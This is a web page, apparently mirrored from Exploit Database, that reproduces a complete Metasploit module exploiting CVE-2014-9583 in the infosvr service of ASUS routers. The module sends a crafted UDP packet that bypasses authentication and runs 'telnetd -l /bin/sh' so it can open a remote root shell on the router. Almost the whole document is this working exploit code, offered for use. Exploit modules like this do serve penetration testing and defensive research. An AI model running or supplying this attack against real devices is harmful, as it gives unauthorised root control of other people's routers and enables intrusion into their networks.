ASUS infosvr – Authentication Bypass Command Execution (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2018-04-24
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/44524/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Udp
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'ASUS infosvr Auth Bypass Command Execution',
  'Description' => %q{
  This module exploits an authentication bypass vulnerability in the
  infosvr service running on UDP port 9999 on various ASUS routers to
  execute arbitrary commands as root.
  
  This module launches the BusyBox Telnet daemon on the port specified
  in the TelnetPort option to gain an interactive remote shell.
  
  This module was tested successfully on an ASUS RT-N12E with firmware
  version 2.0.0.35.
  
  Numerous ASUS models are reportedly affected, but untested.
  },
  'Author'=>
  [
  'Friedrich Postelstorfer', # Initial public disclosure and Python exploit
  'jduck', # Independent discovery and C exploit
  'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
  ],
  'License' => MSF_LICENSE,
  'Platform'=> 'unix',
  'References'=>
  [
  ['CVE', '2014-9583'],
  ['EDB', '35688'],
  ['URL', 'https://github.com/jduck/asus-cmd']
  ],
  'DisclosureDate' => 'Jan 4 2015',
  'Privileged' => true,
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  'Compat' => {
  'PayloadType'=> 'cmd_interact',
  'ConnectionType' => 'find'
  }
  },
  'Targets'=> [['Automatic', {}]],
  'DefaultTarget'=> 0))
  register_options [
  Opt::RPORT(9999),
  OptInt.new('TelnetPort', [true, 'The port for Telnetd to bind', 4444]),
  OptInt.new('TelnetTimeout', [true, 'The number of seconds to wait for connection to telnet', 10]),
  OptInt.new('TelnetBannerTimeout', [true, 'The number of seconds to wait for the telnet banner', 25])
  ]
  register_advanced_options [
  # If the session is killed (CTRL+C) rather than exiting cleanly,
  # the telnet port remains open, but is unresponsive, and prevents
  # re-exploitation until the device is rebooted.
  OptString.new('CommandShellCleanupCommand', [true, 'A command to run before the session is closed', 'exit'])
  ]
  end
  
  def telnet_timeout
  (datastore['TelnetTimeout'] || 10)
  end
  
  def telnet_port
  datastore['TelnetPort']
  end
  
  def request(cmd)
  pkt = ''
  # ServiceID [byte]; NET_SERVICE_ID_IBOX_INFO
  pkt << "\x0C"
  # PacketType[byte]; NET_PACKET_TYPE_CMD
  pkt << "\x15"
  # OpCode[word]; NET_CMD_ID_MANU_CMD
  pkt << "\x33\x00"
  # Info[dword] ; Comment: "Or Transaction ID"
  pkt << Rex::Text.rand_text_alphanumeric(4)
  # MacAddress[byte[6]] ; Double-wrongly "checked" with memcpy instead of memcmp
  pkt << Rex::Text.rand_text_alphanumeric(6)
  # Password[byte[32]]; Not checked at all
  pkt << "\x00" * 32
  # Command Length + \x00 + Command padded to 512 bytes
  pkt << ([cmd.length].pack('C') + "\x00" + cmd).ljust((512 - pkt.length), "\x00")
  end
  
  def exploit
  connect_udp
  print_status "#{rhost} - Starting telnetd on port #{telnet_port}..."
  udp_sock.put request "telnetd -l /bin/sh -p #{telnet_port}"
  disconnect_udp
  
  vprint_status "#{rhost} - Waiting for telnet service to start on port #{telnet_port}..."
  Rex.sleep 3
  
  vprint_status "#{rhost} - Connecting to #{rhost}:#{telnet_port}..."
  
  sock = Rex::Socket.create_tcp 'PeerHost' => rhost,
  'PeerPort' => telnet_port,
  'Context'=> { 'Msf' => framework, 'MsfExploit' => self },
  'Timeout'=> telnet_timeout
  
  if sock.nil?
  fail_with Failure::Unreachable, "Telnet service unreachable on port #{telnet_port}"
  end
  
  vprint_status "#{rhost} - Trying to establish a telnet session..."
  
  prompt = negotiate_telnet sock
  if prompt.nil?
  sock.close
  fail_with Failure::Unknown, 'Unable to establish a telnet session'
  end
  
  print_good "#{rhost} - Telnet session successfully established..."
  
  handler sock
  end
  
  def negotiate_telnet(sock)
  prompt = '#'
  Timeout.timeout(datastore['TelnetBannerTimeout']) do
  while true
  data = sock.get_once(-1, telnet_timeout)
  if !data or data.length == 0
  return nil
  elsif data.include? prompt
  return true
  end
  end
  end
  rescue ::Timeout::Error
  return nil
  end
  end